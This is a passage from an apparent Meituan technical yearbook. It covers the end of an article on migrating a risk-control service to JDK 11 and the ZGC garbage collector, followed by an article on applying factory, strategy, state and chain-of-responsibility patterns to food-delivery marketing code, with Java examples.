分析：CodeCache 空间用于存放 Java 热点代码的 JIT 编译结果，而 CodeCache

也属于 GC Roots 一部分。通过添加 -XX:+PrintCodeCacheOnCompilation 参

数，打印 CodeCache 中的被优化的方法，发现大量的 Aviator 表达式代码。定位到

根本原因，每个表达式都是一个类中一个方法。随着运行时间越长，执行次数增加，

这些方法会被 JIT 优化编译进入到 Code Cache 中，导致 CodeCache 越来越大。

解决方法：JIT 有一些参数配置可以调整 JIT 编译的条件，但对于我们的问题都不太

适用。我们最终通过业务优化解决，删除不需要执行的 Aviator 表达式，从而避免了

大量 Aviator 方法进入 CodeCache 中。

值得一提的是，我们并不是在所有这些问题都解决后才全量部署所有集群。即使开始

有各种各样的毛刺，但计算后发现，有各种问题的 ZGC 也比之前的 CMS 对服务可

用性影响小。所以从开始准备使用 ZGC 到全量部署，大概用了 2 周的时间。在之后

的 3 个月时间里，我们边做业务需求，边跟进这些问题，最终逐个解决了上述问题，

从而使 ZGC 在各个集群上达到了一个更好表现。

升级 ZGC 效果

延迟降低

TP(Top Percentile) 是一项衡量系统延迟的指标：TP999 表示 99.9% 请求都能被响
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应的最小耗时；TP99 表示 99% 请求都能被响应的最小耗时。

在 Zeus 服务不同集群中，ZGC 在低延迟（TP999 < 200ms）场景中收益较大：

 ● TP999：下降 12~142ms，下降幅度 18%~74%。

 ● TP99：下降 5~28ms，下降幅度 10%~47%。

超低延迟（TP999 < 20ms）和高延迟（TP999 > 200ms）服务收益不大，原因是这

些服务的响应时间瓶颈不是 GC，而是外部依赖的性能。

吞吐下降

对吞吐量优先的场景，ZGC 可能并不适合。例如，Zeus 某离线集群原先使用

CMS，升级 ZGC 后，系统吞吐量明显降低。究其原因有二：第一，ZGC 是单代垃

圾回收器，而 CMS 是分代垃圾回收器。单代垃圾回收器每次处理的对象更多，更耗

费 CPU 资源；第二，ZGC 使用读屏障，读屏障操作需耗费额外的计算资源。

总结

ZGC 作为下一代垃圾回收器，性能非常优秀。ZGC 垃圾回收过程几乎全部是并发，

实际 STW 停顿时间极短，不到 10ms。这得益于其采用的着色指针和读屏障技术。

Zeus 在升级 JDK 11+ZGC 中，通过将风险和问题分类，然后各个击破，最终顺利

实现了升级目标，GC 停顿也几乎不再影响系统可用性。

最后推荐大家升级 ZGC，Zeus 系统因为业务特点，遇到了较多问题，而风控其他团

队在升级时都非常顺利。欢迎大家加入“ZGC 使用交流”群。

参考文献
ZGC 官网

彭成寒 .《新一代垃圾回收器 ZGC 设计与实现》. 机械工业出版社 , 2019.

从实际案例聊聊 Java 应用的 GC 优化

Java Hotspot G1 GC 的一些关键技术

https://wiki.openjdk.java.net/display/zgc/Main
https://tech.meituan.com/2017/12/29/jvm-optimize.html
https://tech.meituan.com/2016/09/23/g1.html
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附录

如何使用新技术

在生产环境升级 JDK 11，使用 ZGC，大家最关心的可能不是效果怎么样，而是这

个新版本用的人少，网上实践也少，靠不靠谱，稳不稳定。其次是升级成本会不会很

大，万一不成功岂不是白白浪费时间。所以，在使用新技术前，首先要做的是评估收

益、成本和风险。

评估收益

对于 JDK 这种世界关注的程序，大版本升级所引入的新技术一般已经在理论上经过

验证。我们要做的事情就是确定当前系统的瓶颈是否是新版本 JDK 可解决的问题，

切忌问题未诊断清楚就采取措施。评估完收益之后再评估成本和风险，收益过大或者

过小，其他两项影响权重就会小很多。

以本文开头提到的案例为例，假设 GC 次数不变（10 次 / 分钟 )，且单次 GC 时间从

40ms 降低 10ms。通过计算，一分钟内有 100/60000 = 0.17% 的时间在进行 GC，

且期间所有请求仅停顿 10ms，GC 期间影响的请求数和因 GC 增加的延迟都有所

减少。

评估成本

这里主要指升级所需要的人力成本。此项相对比较成熟，根据新技术的使用手册判断

改动点。跟做其他项目区别不大，不再具体细说。

在我们的实践中，两周时间完成线上部署，达到安全稳定运行的状态。后续持续迭代

3 个月，根据业务场景对 ZGC 进行了更契合的优化适配。

评估风险

升级 JDK 的风险可以分为三类：

 ● 兼容性风险：Java 程序 JAR 包依赖很多，升级 JDK 版本后程序是否能运行
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起来。例如我们的服务是从 JDK 7 升级到 JDK 11，需要解决较多 JAR 包不

兼容的问题。

 ● 功能风险：运行起来后，是否会有一些组件逻辑变更，影响现有功能的逻辑。

 ● 性能风险：功能如果没有问题，性能是否稳定，能稳定的在线上运行。

经过分类后，每类风险的应对转化成了常见的测试问题，不再属于未知风险。风

险是指不确定的事情，如果不确定的事情都能转化成可确定的事情，意味着风险已

消除。

升级 JDK	11

选择 JDK 11，是因为在 JDK 11 中首次支持 ZGC，而且 JDK 11 属于长期支持

（Long Term Support，LTS）版本，至少会被维护三年，普通版本（如 JDK 12、

JDK 13 和 JDK 14）只有 6 个月的维护周期，不建议使用。

本地测试环境安装

从两个源 OpenJDK 和 OracleJDK 下载 JDK 11，二个版本的 JDK 主要区别是长

时期的免费和付费，短期内都免费。注意 JDK 11 版本中的 ZGC 不支持 Mac OS 系

统，在 Mac OS 系统上使用 JDK 11 只能用其他垃圾回收器，如 G1。

生产环境安装

升级 JDK 11 不仅仅是升级自己项目的 JDK 版本，还需要编译、发布部署、运行、

监控、性能内存分析工具等项目支持。美团内部的实践：

编译打包：美团发布系统支持选择 JDK 11 进行编译打包。 线上运行	&	全量部署：

要求线上机器已安装 JDK11，有 3 种方式：

1. 新申请默认安装 JDK 11 的虚拟机：试用 JDK 11 时可用这种方式；全量部署

时，如果新申请机器数量过多，可能没有足够机器资源。 

2. 通过手写脚本给存量虚拟机安装 JDK 11：不推荐，业务同学过多参与到运维

当中。 

https://jdk.java.net/archive/
https://www.oracle.com/java/technologies/javase-jdk11-downloads.html
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3. 使用容器提供的镜像部署功能，在打包镜像时安装 JDK 11：推荐方式，不需

要新申请资源。

监控指标：主要是 GC 的时间和频率，我们通过美团的 CAT 监控系统支持 ZGC

数据的收集（CAT 已开源）。 性能内存分析：线上遇到性能问题时，还需要借助

Profiling 工具，美团的性能诊断优化平台 Scalpel 已支持 JDK 11 的性能内存分析。

如果你的公司没有相关工具，推荐使用 JProfier。

解决组件兼容性

我们的项目包含二十多万行代码，需要从 JDK 7 升级到 JDK 11，依赖组件众多。虽

然看起来升级会比较复杂，但实际只花了两天时间即解决了兼容性问题。具体过程

如下：

1. 编译，需要修改 pom 文件中的 build 配置，根据报错作修改，主要有两类：

a. 一 些 类 被 删 除： 比 如“sun.misc.BASE64Encoder”， 找 到 替 换 类 java.util.

Base64 即可。

b. 组件依赖版本不兼容 JDK 11 问题：找到对应依赖组件，搜索最新版本，一般都支

持 JDK 11。

2. 编译成功后，启动运行，此时仍有可能组件依赖版本问题，按照编译时的方式处理

即可。

升级所修改的依赖：

<dependency>
    <groupId>javax.annotation</groupId>
    <artifactId>javax.annotation-api</artifactId>
    <version>1.3.2</version>
</dependency>
<dependency>
    <groupId>javax.validation</groupId>
    <artifactId>validation-api</artifactId>
    <version>2.0.1.Final</version>
</dependency>

https://tech.meituan.com/2018/11/01/cat-in-depth-java-application-monitoring.html
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<dependency>
    <groupId>org.projectlombok</groupId>
    <artifactId>lombok</artifactId>
    <version>1.18.4</version>
</dependency>
<dependency>
    <groupId>org.hibernate.validator</groupId>
    <artifactId>hibernate-validator-parent</artifactId>
    <version>6.0.16.Final</version>
</dependency>
<dependency>
    <groupId>com.sankuai.inf</groupId>
    <artifactId>patriot-sdk</artifactId>
    <version>1.2.1</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-lang3</artifactId>
    <version>3.9</version>
</dependency>
<dependency>
    <groupId>commons-lang</groupId>
    <artifactId>commons-lang</artifactId>
    <version>2.6</version>
</dependency>
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-all</artifactId>
    <version>4.1.39.Final</version>
</dependency>
<dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.12</version>
</dependency>

JDK 11 已经出来两年，常见的依赖组件都有兼容性版本。但是，如果是公司内部提

供的公司级组件，可能会不兼容 JDK 11，需要推动相关组件进行升级。如果对方升

级较为困难，可以考虑拆分功能，将依赖这些组件的功能单独部署，继续使用低版

本 JDK。随着 JDK11 的卓越性能被大家悉知，相信会有更多团队会用 JDK 11 解决

GC 问题，使用者越多，各个组件升级的动力也会越大。
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验证功能正确性

通过完备的单测、集成和回归测试，保证功能正确性。

作者简介
王东，美团信息安全资深工程师。

王伟，美团信息安全技术专家。
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设计模式在外卖营销业务中的实践

作者：亮亮

一、前言

随着美团外卖业务的不断迭代与发展，外卖用户数量也在高速地增长。在这个过程

中，外卖营销发挥了“中流砥柱”的作用，因为用户的快速增长离不开高效的营销策

略。而由于市场环境和业务环境的多变，营销策略往往是复杂多变的，营销技术团队

作为营销业务的支持部门，就需要快速高效地响应营销策略变更带来的需求变动。因

此，设计并实现易于扩展和维护的营销系统，是美团外卖营销技术团队不懈追求的目

标和必修的基本功。

本文通过自顶向下的方式，来介绍设计模式如何帮助我们构建一套易扩展、易维护的

营销系统。本文会首先介绍设计模式与领域驱动设计（Domain-Driven Design，以

下简称为 DDD）之间的关系，然后再阐述外卖营销业务引入业务中用到的设计模式

以及其具体实践案例。

二、设计模式与领域驱动设计

设计一个营销系统，我们通常的做法是采用自顶向下的方式来解构业务，为此我们

引入了 DDD。从战略层面上讲，DDD 能够指导我们完成从问题空间到解决方案

的剖析，将业务需求映射为领域上下文以及上下文间的映射关系。从战术层面上，

DDD 能够细化领域上下文，并形成有效的、细化的领域模型来指导工程实践。建

立领域模型的一个关键意义在于，能够确保不断扩展和变化的需求在领域模型内不

断地演进和发展，而不至于出现模型的腐化和领域逻辑的外溢。关于 DDD 的实践，

大家可以参考此前美团技术团队推出的《领域驱动设计在互联网业务开发中的实践》

一文。

https://tech.meituan.com/2017/12/22/ddd-in-practice.html
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同时，我们也需要在代码工程中贯彻和实现领域模型。因为代码工程是领域模型在工

程实践中的直观体现，也是领域模型在技术层面的直接表述。而设计模式，可以说是

连接领域模型与代码工程的一座桥梁，它能有效地解决从领域模型到代码工程的转

化。

为什么说设计模式天然具备成为领域模型到代码工程之间桥梁的作用呢？其实，

2003 年出版的《领域驱动设计》一书的作者 Eric Evans 在这部开山之作中就已经

给出了解释。他认为，立场不同会影响人们如何看待什么是“模式”。因此，无论是

领域驱动模式还是设计模式，本质上都是“模式”，只是解决的问题不一样。站在业

务建模的立场上，DDD 的模式解决的是如何进行领域建模。而站在代码实践的立场

上，设计模式主要关注于代码的设计与实现。既然本质都是模式，那么它们天然就具

有一定的共通之处。

所谓“模式”，就是一套反复被人使用或验证过的方法论。从抽象或者更宏观的角

度上看，只要符合使用场景并且能解决实际问题，模式应该既可以应用在 DDD

中，也可以应用在设计模式中。事实上，Evans 也是这么做的。他在著作中阐述了

Strategy 和 Composite 这两个传统的 GOF 设计模式是如何来解决领域模型建设

的。因此，当领域模型需要转化为代码工程时，同构的模式，天然能够将领域模型翻

译成代码模型。

三、设计模式在外卖营销业务中的具体案例

3.1	为什么需要设计模式

营销业务的特点

如前文所述，营销业务与交易等其他模式相对稳定的业务的区别在于，营销需求会随

着市场、用户、环境的不断变化而进行调整。也正是因此，外卖营销技术团队选择了

DDD 进行领域建模，并在适用的场景下，用设计模式在代码工程的层面上实践和反

映了领域模型。以此来做到在支持业务变化的同时，让领域和代码模型健康演进，避
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免模型腐化。

理解设计模式

软件设计模式（Design pattern），又称设计模式，是一套被反复使用、多数人知晓

的、经过分类编目的、代码设计经验的总结。使用设计模式是为了可重用代码，让代

码更容易被他人理解，保证代码可靠性，程序的重用性。可以理解为：“世上本来没有

设计模式，用的人多了，便总结出了一套设计模式。”

设计模式原则

面向对象的设计模式有七大基本原则：

 ● 开闭原则（Open Closed Principle，OCP）

 ● 单一职责原则（Single Responsibility Principle, SRP）

 ● 里氏代换原则（Liskov Substitution Principle，LSP）

 ● 依赖倒转原则（Dependency Inversion Principle，DIP）

 ● 接口隔离原则（Interface Segregation Principle，ISP）

 ● 合成 / 聚合复用原则（Composite/Aggregate Reuse Principle，CARP）

 ● 最少知识原则（Least Knowledge Principle，LKP）或者迪米特法则（Law of 

Demeter，LOD）

简单理解就是：开闭原则是总纲，它指导我们要对扩展开放，对修改关闭；单一职责

原则指导我们实现类要职责单一；里氏替换原则指导我们不要破坏继承体系；依赖倒

置原则指导我们要面向接口编程；接口隔离原则指导我们在设计接口的时候要精简单

一；迪米特法则指导我们要降低耦合。

设计模式就是通过这七个原则，来指导我们如何做一个好的设计。但是设计模式不是

一套“奇技淫巧”，它是一套方法论，一种高内聚、低耦合的设计思想。我们可以在

此基础上自由的发挥，甚至设计出自己的一套设计模式。

当然，学习设计模式或者是在工程中实践设计模式，必须深入到某一个特定的业务场
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景中去，再结合对业务场景的理解和领域模型的建立，才能体会到设计模式思想的

精髓。如果脱离具体的业务逻辑去学习或者使用设计模式，那是极其空洞的。接下

来我们将通过外卖营销业务的实践，来探讨如何用设计模式来实现可重用、易维护

的代码。

3.2	“邀请下单”业务中设计模式的实践

3.2.1	业务简介

“邀请下单”是美团外卖用户邀请其他用户下单后给予奖励的平台。即用户 A 邀请用

户 B，并且用户 B 在美团下单后，给予用户 A 一定的现金奖励（以下简称返奖）。同

时为了协调成本与收益的关系，返奖会有多个计算策略。邀请下单后台主要涉及两个

技术要点：

1. 返奖金额的计算，涉及到不同的计算规则。

2. 从邀请开始到返奖结束的整个流程。

3.2.2	返奖规则与设计模式实践

业务建模

如图是返奖规则计算的业务逻辑视图：
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从这份业务逻辑图中可以看到返奖金额计算的规则。首先要根据用户状态确定用户是

否满足返奖条件。如果满足返奖条件，则继续判断当前用户属于新用户还是老用户，

从而给予不同的奖励方案。一共涉及以下几种不同的奖励方案：

新用户

 ● 普通奖励（给予固定金额的奖励）

 ● 梯度奖（根据用户邀请的人数给予不同的奖励金额，邀请的人越多，奖励金额

越多）

老用户

 ● 根据老用户的用户属性来计算返奖金额。为了评估不同的邀新效果，老用户返

奖会存在多种返奖机制。

计算完奖励金额以后，还需要更新用户的奖金信息，以及通知结算服务对用户的金额

进行结算。这两个模块对于所有的奖励来说都是一样的。

可以看到，无论是何种用户，对于整体返奖流程是不变的，唯一变化的是返奖规则。

此处，我们可参考开闭原则，对于返奖流程保持封闭，对于可能扩展的返奖规则进行

开放。我们将返奖规则抽象为返奖策略，即针对不同用户类型的不同返奖方案，我们
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视为不同的返奖策略，不同的返奖策略会产生不同的返奖金额结果。

在我们的领域模型里，返奖策略是一个值对象，我们通过工厂的方式生产针对不同用

户的奖励策略值对象。下文我们将介绍以上领域模型的工程实现，即工厂模式和策略

模式的实际应用。

模式：工厂模式

工厂模式又细分为工厂方法模式和抽象工厂模式，本文主要介绍工厂方法模式。

模式定义：定义一个用于创建对象的接口，让子类决定实例化哪一个类。工厂方法是

一个类的实例化延迟到其子类。

工厂模式通用类图如下 :

我们通过一段较为通用的代码来解释如何使用工厂模式：

//抽象的产品
public abstract class Product {
    public abstract void method();
}
//定义一个具体的产品 (可以定义多个具体的产品 )
class ProductA extends Product {
    @Override
    public void method() {}  //具体的执行逻辑
}
//抽象的工厂
abstract class Factory<T> {
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    abstract Product createProduct(Class<T> c);
}
//具体的工厂可以生产出相应的产品
class FactoryA extends Factory{
    @Override
    Product createProduct(Class c) {
        Product product = (Product) Class.forName(c.getName()).
newInstance();
        return product;
    }
}

模式：策略模式

模式定义：定义一系列算法，将每个算法都封装起来，并且它们可以互换。策略模式

是一种对象行为模式。

策略模式通用类图如下：

我们通过一段比较通用的代码来解释怎么使用策略模式：

//定义一个策略接口
public interface Strategy {
    void strategyImplementation();
}
 
//具体的策略实现 (可以定义多个具体的策略实现 )
public class StrategyA implements Strategy{
    @Override
    public void strategyImplementation() {
        System.out.println("正在执行策略 A");
    }
}
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//封装策略，屏蔽高层模块对策略、算法的直接访问，屏蔽可能存在的策略变化
public class Context {
    private Strategy strategy = null;
 
    public Context(Strategy strategy) {
        this.strategy = strategy;
    }
  
    public void doStrategy() {
        strategy.strategyImplementation();
    }
}

工程实践

通过上文介绍的返奖业务模型，我们可以看到返奖的主流程就是选择不同的返奖策略

的过程，每个返奖策略都包括返奖金额计算、更新用户奖金信息、以及结算这三个步

骤。 我们可以使用工厂模式生产出不同的策略，同时使用策略模式来进行不同的策略

执行。首先确定我们需要生成出 n 种不同的返奖策略，其编码如下：

//抽象策略
public abstract class RewardStrategy {
    public abstract void reward(long userId);
  
    public void insertRewardAndSettlement(long userId, int reward) {} 
; //更新用户信息以及结算
}
//新用户返奖具体策略 A
public class newUserRewardStrategyA extends RewardStrategy {
    @Override
    public void reward(long userId) {}  //具体的计算逻辑，...
}
 
//老用户返奖具体策略 A
public class OldUserRewardStrategyA extends RewardStrategy {
    @Override
    public void reward(long userId) {}  //具体的计算逻辑，...
}
 
//抽象工厂
public abstract class StrategyFactory<T> {
    abstract RewardStrategy createStrategy(Class<T> c);
}
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//具体工厂创建具体的策略
public class FactorRewardStrategyFactory extends StrategyFactory {
    @Override
    RewardStrategy createStrategy(Class c) {
        RewardStrategy product = null;
        try {
            product = (RewardStrategy) Class.forName(c.getName()).
newInstance();
        } catch (Exception e) {}
        return product;
    }
}

通过工厂模式生产出具体的策略之后，根据我们之前的介绍，很容易就可以想到使用

策略模式来执行我们的策略。具体代码如下：

public class RewardContext {
    private RewardStrategy strategy;
 
    public RewardContext(RewardStrategy strategy) {
        this.strategy = strategy;
    }
 
    public void doStrategy(long userId) { 
        int rewardMoney = strategy.reward(userId);
        insertRewardAndSettlement(long userId, int reward) {
          insertReward(userId, rewardMoney);
          settlement(userId);
       }  
    }
}

接下来我们将工厂模式和策略模式结合在一起，就完成了整个返奖的过程：

public class InviteRewardImpl {
    //返奖主流程
    public void sendReward(long userId) {
        FactorRewardStrategyFactory strategyFactory = new 
FactorRewardStrategyFactory();  //创建工厂
        Invitee invitee = getInviteeByUserId(userId);  //根据用户 id查询用
户信息
        if (invitee.userType == UserTypeEnum.NEW_USER) {  //新用户返奖策略
            NewUserBasicReward newUserBasicReward = (NewUserBasicReward) 
strategyFactory.createStrategy(NewUserBasicReward.class);
            RewardContext rewardContext = new 
RewardContext(newUserBasicReward);
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            rewardContext.doStrategy(userId); //执行返奖策略
        }if(invitee.userType == UserTypeEnum.OLD_USER){}  //老用户返奖策略，
... 
    }
}

工厂方法模式帮助我们直接产生一个具体的策略对象，策略模式帮助我们保证这些策

略对象可以自由地切换而不需要改动其他逻辑，从而达到解耦的目的。通过这两个模

式的组合，当我们系统需要增加一种返奖策略时，只需要实现 RewardStrategy 接

口即可，无需考虑其他的改动。当我们需要改变策略时，只要修改策略的类名即可。

不仅增强了系统的可扩展性，避免了大量的条件判断，而且从真正意义上达到了高内

聚、低耦合的目的。

3.2.3	返奖流程与设计模式实践

业务建模

当受邀人在接受邀请人的邀请并且下单后，返奖后台接收到受邀人的下单记录，此时

邀请人也进入返奖流程。首先我们订阅用户订单消息并对订单进行返奖规则校验。例

如，是否使用红包下单，是否在红包有效期内下单，订单是否满足一定的优惠金额等

等条件。当满足这些条件以后，我们将订单信息放入延迟队列中进行后续处理。经过

T+N 天之后处理该延迟消息，判断用户是否对该订单进行了退款，如果未退款，对

用户进行返奖。若返奖失败，后台还有返奖补偿流程，再次进行返奖。其流程如下图

所示：
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我们对上述业务流程进行领域建模：

1. 在接收到订单消息后，用户进入待校验状态；

2. 在校验后，若校验通过，用户进入预返奖状态，并放入延迟队列。若校验未

通过，用户进入不返奖状态，结束流程；

3. T+N 天后，处理延迟消息，若用户未退款，进入待返奖状态。若用户退款，

进入失败状态，结束流程；

4. 执行返奖，若返奖成功，进入完成状态，结束流程。若返奖不成功，进入待

补偿状态；

5. 待补偿状态的用户会由任务定期触发补偿机制，直至返奖成功，进入完成状

态，保障流程结束。

可以看到，我们通过建模将返奖流程的多个步骤映射为系统的状态。对于系统状态的

表述，DDD 中常用到的概念是领域事件，另外也提及过事件溯源的实践方案。当然，

在设计模式中，也有一种能够表述系统状态的代码模型，那就是状态模式。在邀请下

单系统中，我们的主要流程是返奖。对于返奖，每一个状态要进行的动作和操作都是

不同的。因此，使用状态模式，能够帮助我们对系统状态以及状态间的流转进行统一

的管理和扩展。

模式：状态模式

模式定义：当一个对象内在状态改变时允许其改变行为，这个对象看起来像改变了

其类。
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状态模式的通用类图如下图所示：

对比策略模式的类型会发现和状态模式的类图很类似，但实际上有很大的区别，具体

体现在 concrete class 上。策略模式通过 Context 产生唯一一个 ConcreteStrate-

gy 作用于代码中，而状态模式则是通过 context 组织多个 ConcreteState 形成一

个状态转换图来实现业务逻辑。接下来，我们通过一段通用代码来解释怎么使用状

态模式：

//定义一个抽象的状态类
public abstract class State {
    Context context;
    public void setContext(Context context) {
        this.context = context;
    }
    public abstract void handle1();
    public abstract void handle2();
}
//定义状态 A
public class ConcreteStateA extends State {
    @Override
    public void handle1() {}  //本状态下必须要处理的事情
 
    @Override
    public void handle2() {
        super.context.setCurrentState(Context.contreteStateB);  //切换到
状态 B        
        super.context.handle2();  //执行状态 B的任务
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    }
}
//定义状态 B
public class ConcreteStateB extends State {
    @Override
    public void handle2() {}  //本状态下必须要处理的事情，...
  
    @Override
    public void handle1() {
        super.context.setCurrentState(Context.contreteStateA);  //切换到
状态 A
        super.context.handle1();  //执行状态 A的任务
    }
}
//定义一个上下文管理环境
public class Context {
    public final static ConcreteStateA contreteStateA = new 
ConcreteStateA();
    public final static ConcreteStateB contreteStateB = new 
ConcreteStateB();
 
    private State CurrentState;
    public State getCurrentState() {return CurrentState;}
 
    public void setCurrentState(State currentState) {
        this.CurrentState = currentState;
        this.CurrentState.setContext(this);
    }
 
    public void handle1() {this.CurrentState.handle1();}
    public void handle2() {this.CurrentState.handle2();}
}
//定义 client执行
public class client {
    public static void main(String[] args) {
        Context context = new Context();
        context.setCurrentState(new ContreteStateA());
        context.handle1();
        context.handle2();
    }
}

工程实践

通过前文对状态模式的简介，我们可以看到当状态之间的转换在不是非常复杂的情况

下，通用的状态模式存在大量的与状态无关的动作从而产生大量的无用代码。在我们
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的实践中，一个状态的下游不会涉及特别多的状态装换，所以我们简化了状态模式。

当前的状态只负责当前状态要处理的事情，状态的流转则由第三方类负责。其实践代

码如下：

//返奖状态执行的上下文
public class RewardStateContext {
 
    private RewardState rewardState;
  
    public void setRewardState(RewardState currentState) {this.
rewardState = currentState;}
    public RewardState getRewardState() {return rewardState;}
    public void echo(RewardStateContext context, Request request) {
        rewardState.doReward(context, request);
    }
}
 
public abstract class RewardState {
    abstract void doReward(RewardStateContext context, Request 
request);
}
 
//待校验状态
public class OrderCheckState extends RewardState {
    @Override
    public void doReward(RewardStateContext context, Request request) 
{
        orderCheck(context, request);  //对进来的订单进行校验，判断是否用券，
是否满足优惠条件等等
    }
}
 
//待补偿状态
public class CompensateRewardState extends RewardState {
    @Override
    public void doReward(RewardStateContext context, Request request) 
{
        compensateReward(context, request);  //返奖失败，需要对用户进行返奖
补偿
    }
}
 
//预返奖状态，待返奖状态，成功状态，失败状态 (此处逻辑省略 )
//..
 
public class InviteRewardServiceImpl {
    public boolean sendRewardForInvtee(long userId, long orderId) {
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        Request request = new Request(userId, orderId);
        RewardStateContext rewardContext = new RewardStateContext();
        rewardContext.setRewardState(new OrderCheckState());
        rewardContext.echo(rewardContext, request);  //开始返奖，订单校验
        //此处的 if-else逻辑只是为了表达状态的转换过程，并非实际的业务逻辑
        if (rewardContext.isResultFlag()) {  //如果订单校验成功，进入预返奖
状态
            rewardContext.setRewardState(new BeforeRewardCheckState());
            rewardContext.echo(rewardContext, request);
        } else {//如果订单校验失败，进入返奖失败流程，...
            rewardContext.setRewardState(new RewardFailedState());
            rewardContext.echo(rewardContext, request);
            return false;
        }
        if (rewardContext.isResultFlag()) {//预返奖检查成功，进入待返奖流程，
...
            rewardContext.setRewardState(new SendRewardState());
            rewardContext.echo(rewardContext, request);
        } else {  //如果预返奖检查失败，进入返奖失败流程，...
            rewardContext.setRewardState(new RewardFailedState());
            rewardContext.echo(rewardContext, request);
            return false;
        }
        if (rewardContext.isResultFlag()) {  //返奖成功，进入返奖结束流程，
...
            rewardContext.setRewardState(new RewardSuccessState());
            rewardContext.echo(rewardContext, request);
        } else {  //返奖失败，进入返奖补偿阶段，...
            rewardContext.setRewardState(new CompensateRewardState());
            rewardContext.echo(rewardContext, request);
        }
        if (rewardContext.isResultFlag()) {  //补偿成功，进入返奖完成阶段，
...
            rewardContext.setRewardState(new RewardSuccessState());
            rewardContext.echo(rewardContext, request);
        } else {  //补偿失败，仍然停留在当前态，直至补偿成功（或多次补偿失败后人
工介入处理）
            rewardContext.setRewardState(new CompensateRewardState());
            rewardContext.echo(rewardContext, request);
        }
        return true;
    }
}

状态模式的核心是封装，将状态以及状态转换逻辑封装到类的内部来实现，也很好的

体现了“开闭原则”和“单一职责原则”。每一个状态都是一个子类，不管是修改还

是增加状态，只需要修改或者增加一个子类即可。在我们的应用场景中，状态数量以
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及状态转换远比上述例子复杂，通过“状态模式”避免了大量的 if-else 代码，让我

们的逻辑变得更加清晰。同时由于状态模式的良好的封装性以及遵循的设计原则，让

我们在复杂的业务场景中，能够游刃有余地管理各个状态。

3.3	点评外卖投放系统中设计模式的实践

3.3.1	业务简介

继续举例，点评 App 的外卖频道中会预留多个资源位为营销使用，向用户展示一些

比较精品美味的外卖食品，为了增加用户点外卖的意向。当用户点击点评首页的“美

团外卖”入口时，资源位开始加载，会通过一些规则来筛选出合适的展示 Banner。

3.3.2	设计模式实践

业务建模

对于投放业务，就是要在这些资源位中展示符合当前用户的资源。其流程如下图

所示：
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从流程中我们可以看到，首先运营人员会配置需要展示的资源，以及对资源进行过滤

的规则。我们资源的过滤规则相对灵活多变，这里体现为三点：

1. 过滤规则大部分可重用，但也会有扩展和变更。

2. 不同资源位的过滤规则和过滤顺序是不同的。

3. 同一个资源位由于业务所处的不同阶段，过滤规则可能不同。

过滤规则本身是一个个的值对象，我们通过领域服务的方式，操作这些规则值对象

完成资源位的过滤逻辑。下图介绍了资源位在进行用户特征相关规则过滤时的过程：

为了实现过滤规则的解耦，对单个规则值对象的修改封闭，并对规则集合组成的过滤

链条开放，我们在资源位过滤的领域服务中引入了责任链模式。
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模式：责任链模式

模式定义：使多个对象都有机会处理请求，从而避免了请求的发送者和接受者之间

的耦合关系。将这些对象连成一条链，并沿着这条链传递该请求，直到有对象处理

它为止。

责任链模式通用类图如下：

我们通过一段比较通用的代码来解释如何使用责任链模式：

//定义一个抽象的 handle
public abstract class Handler {
    private Handler nextHandler;  //指向下一个处理者
    private int level;  //处理者能够处理的级别
 
    public Handler(int level) {
        this.level = level;
    }
 
    public void setNextHandler(Handler handler) {
        this.nextHandler = handler;
    }
 
    // 处理请求传递，注意 final，子类不可重写
    public final void handleMessage(Request request) {
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        if (level == request.getRequstLevel()) {
            this.echo(request);
        } else {
            if (this.nextHandler != null) {
                this.nextHandler.handleMessage(request);
            } else {
                System.out.println("已经到最尽头了 ");
            }
        }
    }
    // 抽象方法，子类实现
    public abstract void echo(Request request);
}
 
// 定义一个具体的 handleA
public class HandleRuleA extends Handler {
    public HandleRuleA(int level) {
        super(level);
    }
    @Override
    public void echo(Request request) {
        System.out.println("我是处理者 1,我正在处理 A规则 ");
    }
}
 
//定义一个具体的 handleB
public class HandleRuleB extends Handler {}  //...
 
//客户端实现
class Client {
    public static void main(String[] args) {
        HandleRuleA handleRuleA = new HandleRuleA(1);
        HandleRuleB handleRuleB = new HandleRuleB(2);
        handleRuleA.setNextHandler(handleRuleB);  //这是重点，将 handleA和
handleB串起来
        handleRuleA.echo(new Request());
    }
}

工程实践

下面通过代码向大家展示如何实现这一套流程：

//定义一个抽象的规则
public abstract class BasicRule<CORE_ITEM, T extends RuleContext<CORE_
ITEM>>{
    //有两个方法，evaluate用于判断是否经过规则执行，execute用于执行具体的规则
内容。
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    public abstract boolean evaluate(T context);
    public abstract void execute(T context) {
}
 
//定义所有的规则具体实现
//规则 1：判断服务可用性
public class ServiceAvailableRule extends BasicRule<UserPortrait, 
UserPortraitRuleContext> {
    @Override
    public boolean evaluate(UserPortraitRuleContext context) {
        TakeawayUserPortraitBasicInfo basicInfo = context.getBasicInfo();
        if (basicInfo.isServiceFail()) {
              return false;
        }
        return true;
    }
  
    @Override
    public void execute(UserPortraitRuleContext context) {}
 
}
//规则 2：判断当前用户属性是否符合当前资源位投放的用户属性要求
public class UserGroupRule extends BasicRule<UserPortrait, 
UserPortraitRuleContext> {
    @Override
    public boolean evaluate(UserPortraitRuleContext context) {}
  
    @Override
    public void execute(UserPortraitRuleContext context) {
        UserPortrait userPortraitPO = context.getData();
        if(userPortraitPO.getUserGroup() == context.getBasicInfo().
getUserGroup().code) {
          context.setValid(true);
        } else {
          context.setValid(false);
        }
    }
}
  
//规则 3：判断当前用户是否在投放城市，具体逻辑省略
public class CityInfoRule extends BasicRule<UserPortrait, 
UserPortraitRuleContext> {}
//规则 4：根据用户的活跃度进行资源过滤，具体逻辑省略
public class UserPortraitRule extends BasicRule<UserPortrait, 
UserPortraitRuleContext> {} 
 
//我们通过 spring将这些规则串起来组成一个一个请求链
    <bean name="serviceAvailableRule" class="com.dianping.takeaway.
ServiceAvailableRule"/>



418　>　美团 2020 技术年货

    <bean name="userGroupValidRule" class="com.dianping.takeaway.
UserGroupRule"/>
    <bean name="cityInfoValidRule" class="com.dianping.takeaway.
CityInfoRule"/>
    <bean name="userPortraitRule" class="com.dianping.takeaway.
UserPortraitRule"/>
      
    <util:list id="userPortraitRuleChain" value-type="com.dianping.
takeaway.Rule">
        <ref bean="serviceAvailableRule"/>
        <ref bean="userGroupValidRule"/>
        <ref bean="cityInfoValidRule"/>
        <ref bean="userPortraitRule"/>
    </util:list>
      
//规则执行
public class DefaultRuleEngine{
    @Autowired
    List<BasicRule> userPortraitRuleChain;
 
